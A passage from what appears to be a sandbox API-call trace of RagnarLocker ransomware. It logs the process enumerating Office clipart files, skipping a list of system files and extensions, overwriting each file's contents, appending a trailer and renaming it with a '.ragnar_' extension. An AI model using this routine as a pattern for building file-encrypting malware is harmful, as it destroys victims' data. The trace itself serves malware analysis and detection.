dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.872] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x820, lpOverlapped=0x0) returned 1 [0081.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.872] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x820, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.872] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x820, lpOverlapped=0x0) returned 1 [0081.873] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x820, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.873] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.873] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x820, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.873] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.873] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.873] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.873] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.873] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.873] GetProcessHeap () returned 0x580000 [0081.873] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.873] CloseHandle (hObject=0xf4) returned 1 [0081.873] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" [0081.873] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.ragnar_FD7BD9FC" [0081.874] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.874] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0081.874] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.874] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01168_.WMF" | out: lpString1="DD01168_.WMF") returned="DD01168_.WMF" [0081.874] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned=".WMF" [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="autorun.inf") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="boot.ini") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="bootfont.bin") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="bootsect.bak") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="bootmgr") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="bootmgr.efi") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="desktop.ini") returned -1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="iconcache.db") returned -1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="ntldr") returned -1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="ntuser.dat") returned -1 [0081.874] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.875] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="ntuser.ini") returned -1 [0081.875] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="thumbs.db") returned -1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.875] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0081.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.875] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2004) returned 1 [0081.875] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.875] GetProcessHeap () returned 0x580000 [0081.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.875] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.877] VirtualAlloc (lpAddress=0x0, dwSize=0x7d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.877] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7d4, lpOverlapped=0x0) returned 1 [0081.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.877] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.877] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7d4, lpOverlapped=0x0) returned 1 [0081.877] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.877] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.878] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.878] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.878] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.878] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.878] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.878] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.878] GetProcessHeap () returned 0x580000 [0081.878] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.878] CloseHandle (hObject=0xf4) returned 1 [0081.878] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" [0081.878] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.ragnar_FD7BD9FC" [0081.878] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.879] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0081.879] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.879] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01169_.WMF" | out: lpString1="DD01169_.WMF") returned="DD01169_.WMF" [0081.879] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned=".WMF" [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="autorun.inf") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="boot.ini") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="bootfont.bin") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="bootsect.bak") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="bootmgr") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="bootmgr.efi") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="desktop.ini") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="iconcache.db") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="ntldr") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="ntuser.dat") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="ntuser.ini") returned -1 [0081.879] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="thumbs.db") returned -1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.879] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0081.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.880] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2020) returned 1 [0081.880] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.880] GetProcessHeap () returned 0x580000 [0081.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.880] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.882] VirtualAlloc (lpAddress=0x0, dwSize=0x7e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.882] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e4, lpOverlapped=0x0) returned 1 [0081.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.882] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.882] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e4, lpOverlapped=0x0) returned 1 [0081.883] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.883] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.883] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.883] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.883] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.883] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.883] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.883] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.883] GetProcessHeap () returned 0x580000 [0081.883] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.883] CloseHandle (hObject=0xf4) returned 1 [0081.883] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" [0081.883] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.ragnar_FD7BD9FC" [0081.883] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.884] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0081.884] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.884] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01170_.WMF" | out: lpString1="DD01170_.WMF") returned="DD01170_.WMF" [0081.884] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned=".WMF" [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="autorun.inf") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="boot.ini") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="bootfont.bin") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="bootsect.bak") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="bootmgr") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="bootmgr.efi") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="desktop.ini") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="iconcache.db") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="ntldr") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="ntuser.dat") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="ntuser.ini") returned -1 [0081.884] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="thumbs.db") returned -1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.885] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0081.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.885] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2404) returned 1 [0081.885] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x95b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.885] GetProcessHeap () returned 0x580000 [0081.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.885] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.887] VirtualAlloc (lpAddress=0x0, dwSize=0x964, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.887] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x964, lpOverlapped=0x0) returned 1 [0081.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.887] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x964, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.887] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x964, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 